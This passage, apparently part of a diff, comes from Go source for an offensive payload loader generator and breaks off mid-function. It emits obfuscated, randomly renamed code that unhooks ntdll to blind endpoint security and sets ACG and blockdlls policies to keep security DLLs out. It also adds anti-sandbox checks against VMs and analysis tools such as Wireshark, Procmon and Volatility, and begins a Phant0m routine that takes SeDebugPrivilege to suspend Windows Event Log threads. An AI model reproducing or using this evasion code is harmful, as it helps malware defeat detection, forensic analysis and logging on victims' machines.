uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r1}} != 0 { + return {{.Vars.err}} + } + + for {{.Vars.i}} := 0; {{.Vars.i}} < len({{.Vars.dll_bytes}}); {{.Vars.i}}++ { + {{.Vars.loc}} := uintptr({{.Vars.dll_offset}} + uint({{.Vars.i}})) + {{.Vars.mem}} := (*[1]byte)(unsafe.Pointer({{.Vars.loc}})) + (*{{.Vars.mem}})[0] = {{.Vars.dll_bytes}}[{{.Vars.i}}] + } + + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.dll_offset}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), {{.Vars.oldProtect}}, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r2}} != 0 { + return {{.Vars.err}} + } + } + + return nil +} +` + + } else if (unhook == "peruns") { + + imports = utils.AppendSlice(imports, []string{"time", "debug/pe", "golang.org/x/sys/windows", "unsafe", "strings"}) // needed imports + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["unhook_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["dlls_to_unhook"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_to_unhook"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["GetConsoleWindow"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ShowWindow"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["CreateProcessW"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["TerminateProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hwnd"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["SW_HIDE"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["file"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["x"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["size"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_handle"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_base"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_offset"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["nbr"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll_bytes"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll_offset"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["nLength"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + + unhook_func = ` +func {{.Vars.unhook_func}}({{.Vars.dlls_to_unhook}} []string) error { +` + + if (hashing) { + unhook_func = unhook_func + ` + {{.Vars.ShowWindow}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ShowWindow", rand_num)) + `, ` + ObfuscateStr("user32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.GetConsoleWindow}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetConsoleWindow", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.CreateProcessW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.TerminateProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("TerminateProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + unhook_func = unhook_func + ` + {{.Vars.ShowWindow}} := windows.NewLazyDLL(` + ObfuscateStr("user32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("ShowWindow", str_obfs) + `) + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.GetConsoleWindow}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetConsoleWindow", str_obfs) + `) + {{.Vars.CreateProcessW}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessW", str_obfs) + `) + {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `) + {{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `) + {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `) + {{.Vars.TerminateProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("TerminateProcess", str_obfs) + `) +` + } + + unhook_func = unhook_func + ` + {{.Vars.hwnd}}, _, {{.Vars.err}} := {{.Vars.GetConsoleWindow}}.Call() + if {{.Vars.hwnd}} == 0 { + return {{.Vars.err}} + } + + var {{.Vars.SW_HIDE}} uintptr = 0 + {{.Vars.ShowWindow}}.Call({{.Vars.hwnd}}, {{.Vars.SW_HIDE}}) + + {{.Vars.si}} := &windows.StartupInfo{} + {{.Vars.pi}} := &windows.ProcessInformation{} + + {{.Vars.cmd}}, {{.Vars.err}} := windows.UTF16PtrFromString(` + ObfuscateStr(process, str_obfs) + `) + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } + + {{.Vars.CreateProcessW}}.Call(0, uintptr(unsafe.Pointer({{.Vars.cmd}})), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer({{.Vars.si}})), uintptr(unsafe.Pointer({{.Vars.pi}}))) + + {{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call() + + time.Sleep(5 * time.Second) + + for _, {{.Vars.dll_to_unhook}} := range {{.Vars.dlls_to_unhook}} { + if (!strings.HasPrefix({{.Vars.dll_to_unhook}}, "C:\\")) { + {{.Vars.dll_to_unhook}} = "C:\\Windows\\System32\\" + {{.Vars.dll_to_unhook}} + } + + {{.Vars.file}}, {{.Vars.err}} := pe.Open({{.Vars.dll_to_unhook}}) + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } + + {{.Vars.x}} := {{.Vars.file}}.Section(` + ObfuscateStr(".text", str_obfs) + `) + {{.Vars.size}} := {{.Vars.x}}.Size + + {{.Vars.dll}}, {{.Vars.err}} := windows.LoadDLL({{.Vars.dll_to_unhook}}) + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } + + {{.Vars.dll_handle}} := {{.Vars.dll}}.Handle + {{.Vars.dll_base}} := uintptr({{.Vars.dll_handle}}) + {{.Vars.dll_offset}} := uint({{.Vars.dll_base}}) + uint({{.Vars.x}}.VirtualAddress) + + var {{.Vars.data}} = make([]byte, {{.Vars.size}}) + var {{.Vars.nbr}} uintptr = 0 + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.dll_offset}}), uintptr(unsafe.Pointer(&{{.Vars.data}}[0])), uintptr({{.Vars.size}}), uintptr(unsafe.Pointer(&{{.Vars.nbr}}))) + if {{.Vars.r1}} == 0 { + return {{.Vars.err}} + } + + {{.Vars.ntdll_bytes}} := {{.Vars.data}} + {{.Vars.ntdll_offset}} := {{.Vars.dll_offset}} + + var {{.Vars.nLength}} uintptr + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.WriteProcessMemory}}.Call({{.Vars.pHandle}}, uintptr({{.Vars.ntdll_offset}}), uintptr(unsafe.Pointer(&{{.Vars.ntdll_bytes}}[0])), uintptr(uint32(len({{.Vars.ntdll_bytes}}))), uintptr(unsafe.Pointer(&{{.Vars.nLength}}))) + if {{.Vars.r2}} == 0 { + return {{.Vars.err}} + } + + {{.Vars.TerminateProcess}}.Call(uintptr({{.Vars.pi}}.Process), 0) + } + + return nil +} +` + } + + if (unhook != "") { + // append previous function + functions = utils.AppendString(functions, ParseTemplate(unhook_func, Main)) + } + + + // add ACG Guard function to loader + if (acg) { + + if (verbose) { + fmt.Println(" > Adding ACG Guard protection...") + } + time.Sleep(100 * time.Millisecond) + + // define variables + Main.Vars["acg_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["SetProcessMitigationPolicy"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ProcessDynamicCodePolicy"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dcp"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + + PROCESS_MITIGATION_DYNAMIC_CODE_POLICY := ` +type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct { + ProhibitDynamicCode uint32 +} +` + // append needed exports and imports + exports = utils.AppendString(exports, PROCESS_MITIGATION_DYNAMIC_CODE_POLICY) + imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe", "errors", "fmt"}) + + // define code using templates + acg_func := ` +func {{.Vars.acg_func}}() error {` + + if (hashing) { + acg_func = acg_func + ` + {{.Vars.SetProcessMitigationPolicy}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("SetProcessMitigationPolicy", rand_num)) + `, ` + ObfuscateStr("C:\\Windows\\System32\\kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + acg_func = acg_func + ` + {{.Vars.SetProcessMitigationPolicy}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("SetProcessMitigationPolicy", str_obfs) + `) +` + } + + acg_func = acg_func + ` + var {{.Vars.ProcessDynamicCodePolicy}} int32 = 2 + var {{.Vars.dcp}} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY + {{.Vars.dcp}}.ProhibitDynamicCode = 1 + + {{.Vars.ret}}, _, {{.Vars.err}} := {{.Vars.SetProcessMitigationPolicy}}.Call( + uintptr({{.Vars.ProcessDynamicCodePolicy}}), + uintptr(unsafe.Pointer(&{{.Vars.dcp}})), + unsafe.Sizeof({{.Vars.dcp}}), + ) + + if {{.Vars.ret}} != 1 { + return errors.New(fmt.Sprintf(` + ObfuscateStr("error: %s", str_obfs) + `, {{.Vars.err}})) + } + + return nil +} +` + + // append previous function + functions = utils.AppendString(functions, ParseTemplate(acg_func, Main)) + } + + if (blockdlls) { + if (verbose) { + fmt.Println(" > Adding blockdlls function...") + } + time.Sleep(100 * time.Millisecond) + + process_mitigation_binary_signature_policy := ` +type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct { + Flags uint32 +} +` + + Main.Vars["blockdlls_func"] = utils.RandomString(utils.RandomInt(8,9)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["SetProcessMitigationPolicy"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ProcessSignaturePolicy"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["sp"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + + exports = utils.AppendString(exports, process_mitigation_binary_signature_policy) + imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe", "errors", "fmt"}) + + blockdlls_func := ` +func {{.Vars.blockdlls_func}}() error {` + + if (hashing) { + blockdlls_func = blockdlls_func + ` + {{.Vars.SetProcessMitigationPolicy}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("SetProcessMitigationPolicy", rand_num)) + `, ` + ObfuscateStr("C:\\Windows\\System32\\kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + blockdlls_func = blockdlls_func + ` + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.SetProcessMitigationPolicy}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("SetProcessMitigationPolicy", str_obfs) + `) +` + } + + blockdlls_func = blockdlls_func + ` + var {{.Vars.ProcessSignaturePolicy}} uint32 = 8 + var {{.Vars.sp}} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY + + {{.Vars.sp}}.Flags = 0x1 + + {{.Vars.ret}}, _, {{.Vars.err}} := {{.Vars.SetProcessMitigationPolicy}}.Call( + uintptr({{.Vars.ProcessSignaturePolicy}}), + uintptr(unsafe.Pointer(&{{.Vars.sp}})), + unsafe.Sizeof({{.Vars.sp}}), + ) + + if {{.Vars.ret}} == 0 { + return errors.New(fmt.Sprintf(` + ObfuscateStr("error: %s", str_obfs) + `, {{.Vars.err}})) + } + + return nil +} +` + + // append previous function + functions = utils.AppendString(functions, ParseTemplate(blockdlls_func, Main)) + } + + if (sandbox) { + + if (verbose) { + fmt.Println(" > Adding anti-sandboxing techniques...") + } + time.Sleep(100 * time.Millisecond) + + Main.Vars["sandbox_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["isProcessRunning"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["client"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["msx"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["process"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["processes"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["processName"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hSnap"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pe32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ret"] = utils.RandomString(utils.RandomInt(9,10)) + + Main.Vars["GlobalMemoryStatusEx"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["CreateToolhelp32Snapshot"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["CloseHandle"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["Process32First"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["Process32NextW"] = utils.RandomString(utils.RandomInt(9,10)) + + memStatusEx := ` +type memStatusEx struct { + dwLength uint32 + dwMemoryLoad uint32 + ullTotalPhys uint64 + ullAvailPhys uint64 + ullTotalPageFile uint64 + ullAvailPageFile uint64 + ullTotalVirtual uint64 + ullAvailVirtual uint64 + ullAvailExtendedVirtual uint64 +} +` + + processentry32 := ` +type PROCESSENTRY32 struct { + dwSize uint32 + cntUsage uint32 + th32ProcessID uint32 + th32DefaultHeapID uintptr + th32ModuleID uint32 + cntThreads uint32 + th32ParentProcessID uint32 + pcPriClassBase int32 + dwFlags uint32 + szExeFile [260]uint16 +} +` + + processes_list := ` +var {{.Vars.processes}} []string = []string{ + ` + ObfuscateStr("vboxservice.exe", str_obfs) + `, + ` + ObfuscateStr("vboxtray.exe", str_obfs) + `, + ` + ObfuscateStr("vmtoolsd.exe", str_obfs) + `, + ` + ObfuscateStr("vmwaretray.exe", str_obfs) + `, + ` + ObfuscateStr("vmware.exe", str_obfs) + `, + ` + ObfuscateStr("vmware-vmx.exe", str_obfs) + `, + ` + ObfuscateStr("vmwareuser", str_obfs) + `, + ` + ObfuscateStr("VGAuthService.exe", str_obfs) + `, + ` + ObfuscateStr("vmacthlp.exe", str_obfs) + `, + ` + ObfuscateStr("vmsrvc.exe", str_obfs) + `, + ` + ObfuscateStr("vmusrvc.exe", str_obfs) + `, + ` + ObfuscateStr("xenservice.exe", str_obfs) + `, + ` + ObfuscateStr("qemu-ga.exe", str_obfs) + `, + ` + ObfuscateStr("wireshark.exe", str_obfs) + `, + ` + ObfuscateStr("Procmon.exe", str_obfs) + `, + ` + ObfuscateStr("Procmon64.exe", str_obfs) + `, + ` + ObfuscateStr("volatily.exe", str_obfs) + `, + ` + ObfuscateStr("volatily3.exe", str_obfs) + `, + ` + ObfuscateStr("DumpIt.exe", str_obfs) + `, + ` + ObfuscateStr("dumpit.exe", str_obfs) + `, +} +` + + // append needed imports and exports + imports = utils.AppendSlice(imports, []string{"time", "golang.org/x/sys/windows", "unsafe", "net/http", "runtime", "strings"}) + exports = utils.AppendSlice(exports, []string{memStatusEx, processentry32, ParseTemplate(processes_list, Main)}) + + // define code using templates + sandbox_func := ` +func {{.Vars.sandbox_func}}() bool { + if (runtime.NumCPU() <= 2) { + return true + } + + {{.Vars.client}} := http.Client{Timeout: 3 * time.Second} + _, {{.Vars.err}} := {{.Vars.client}}.Get(` + ObfuscateStr("https://google.com", str_obfs) + `) + + if {{.Vars.err}} != nil { + return true + } + + {{.Vars.msx}} := &memStatusEx{dwLength: 64} +` + + if (hashing) { + sandbox_func = sandbox_func + ` + {{.Vars.GlobalMemoryStatusEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GlobalMemoryStatusEx", rand_num)) + `,` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.r1}}, _, _ := {{.Vars.GlobalMemoryStatusEx}}.Call(uintptr(unsafe.Pointer({{.Vars.msx}}))) +` + } else { + sandbox_func = sandbox_func + ` + {{.Vars.r1}}, _, _ := windows.MustLoadDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).MustFindProc(` + ObfuscateStr("GlobalMemoryStatusEx", str_obfs) + `).Call(uintptr(unsafe.Pointer({{.Vars.msx}}))) +` + } + + sandbox_func = sandbox_func + ` + if ({{.Vars.r1}} == 0) || ({{.Vars.msx}}.ullTotalPhys < 4174967296) { + return true + } + + for _, {{.Vars.process}} := range {{.Vars.processes}} { + if {{.Vars.isProcessRunning}}({{.Vars.process}}) { + return true + } + } + + return false +} +` + processes_func := ` +func {{.Vars.isProcessRunning}}({{.Vars.processName}} string) bool {` + + if (hashing) { + processes_func = processes_func + ` + {{.Vars.CreateToolhelp32Snapshot}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateToolhelp32Snapshot", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})` + } else { + processes_func = processes_func + ` + {{.Vars.CreateToolhelp32Snapshot}} := windows.MustLoadDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).MustFindProc(` + ObfuscateStr("CreateToolhelp32Snapshot", str_obfs) + `)` + } + + processes_func = processes_func + ` + {{.Vars.hSnap}}, _, _ := {{.Vars.CreateToolhelp32Snapshot}}.Call(uintptr(0x00000002), 0) + if {{.Vars.hSnap}} == uintptr(^uintptr(0)) { + return false + } + ` + + if (hashing) { + processes_func = processes_func + ` + {{.Vars.CloseHandle}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CloseHandle", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + defer {{.Vars.CloseHandle}}.Call({{.Vars.hSnap}}) +` + } else { + processes_func = processes_func + `defer windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("CloseHandle", str_obfs) + `).Call({{.Vars.hSnap}}) +` + } + + processes_func = processes_func + ` + var {{.Vars.pe32}} PROCESSENTRY32 + {{.Vars.pe32}}.dwSize = uint32(unsafe.Sizeof({{.Vars.pe32}})) + + ` + + if (hashing) { + processes_func = processes_func + `{{.Vars.Process32First}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Process32First", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ret}}, _, _ := {{.Vars.Process32First}}.Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}}))) +` + } else { + processes_func = processes_func + `{{.Vars.ret}}, _, _ := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("Process32First", str_obfs) + `).Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}}))) +` + } + + processes_func = processes_func + ` + if {{.Vars.ret}} != 0 { + if strings.EqualFold({{.Vars.processName}}, windows.UTF16ToString({{.Vars.pe32}}.szExeFile[:])) { + return true + } + ` + + if (hashing) { + processes_func = processes_func + ` + {{.Vars.Process32NextW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Process32NextW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.ret}}, _, _ = {{.Vars.Process32NextW}}.Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}}))) + }` + } else { + processes_func = processes_func + ` + {{.Vars.ret}}, _, _ = windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("Process32NextW", str_obfs) + `).Call({{.Vars.hSnap}}, uintptr(unsafe.Pointer(&{{.Vars.pe32}}))) + }` + } + + processes_func = processes_func + ` + + return false +} +` + + functions = utils.AppendString(functions, ParseTemplate(sandbox_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(processes_func, Main)) + } + + // add Phant0m function to loader + if (phantom) { + if (verbose) { + fmt.Println(" > Adding Phant0m technique to suspend EventLog threads...") + } + time.Sleep(100 * time.Millisecond) + + pthread_basic_info_struct := ` +type PTHREAD_BASIC_INFORMATION struct { + exitStatus int32 + pTebBaseAddress uintptr + clientId CLIENT_ID + AffinityMask uintptr + Priority int + BasePriority int + v int +} +` + + sc_service_tag_query_struct := ` +type SC_SERVICE_TAG_QUERY struct { + processId uint32 + serviceTag uint32 + reserved uint32 + pBuffer unsafe.Pointer +} +` + + client_id_struct := ` +type CLIENT_ID struct { + UniqueProcess uintptr + UniqueThread uintptr +} +` + + // append needed exports and imports + exports = utils.AppendSlice(exports, []string{pthread_basic_info_struct, sc_service_tag_query_struct, client_id_struct}) + imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"}) + + Main.Vars["phantom_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["get_eventlog_pid_func"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["elevate_process_token_func"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["SeDebugPrivilege"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["tokenAdjustPrivileges"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["tokenQuery"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hToken"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["GetLastError"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["OpenProcessToken"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["LookupPrivilegeValue"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["AdjustTokenPrivileges"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["advapi32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["currentProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["result"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["SePrivilegeEnabled"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["tkp"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["OpenSCManager"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["OpenService"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["QueryServiceStatusEx"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ssp"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dwBytesNeeded"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["scm"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["svc"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pid"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtQueryInformationThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["I_QueryTagInformation"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["OpenThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["OpenProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["TerminateThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["CloseHandle"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["CreateToolhelp32Snapshot"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["Thread32First"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["Thread32Next"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["advapi32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hThreads"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["tbi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["te32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hEvtThread"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hEvtProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["scTagQuery"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["hTag"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pN"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["eventlog_pid"] = utils.RandomString(utils.RandomInt(9,10)) + + elevate_process_token_func := ` +func {{.Vars.elevate_process_token_func}}() error { + type Luid struct { + lowPart uint32 + highPart int32 + } + + type LuidAndAttributes struct { + luid Luid + attributes uint32 + } + + type TokenPrivileges struct { + privilegeCount uint32 + privileges [1]LuidAndAttributes + } + + {{.Vars.SeDebugPrivilege}} := ` + ObfuscateStr("SeDebugPrivilege", str_obfs) + ` + const {{.Vars.tokenAdjustPrivileges}} = 0x0020 + const {{.Vars.tokenQuery}} = 0x0008 + var {{.Vars.hToken}} uintptr +` + + if (hashing) { + elevate_process_token_func = elevate_process_token_func + ` + {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.GetLastError}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetLastError", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.OpenProcessToken}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("OpenProcessToken", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.LookupPrivilegeValue}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("LookupPrivilegeValueW", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.AdjustTokenPrivileges}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AdjustTokenPrivileges", rand_num)) + `, ` + ObfuscateStr("advapi32.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` 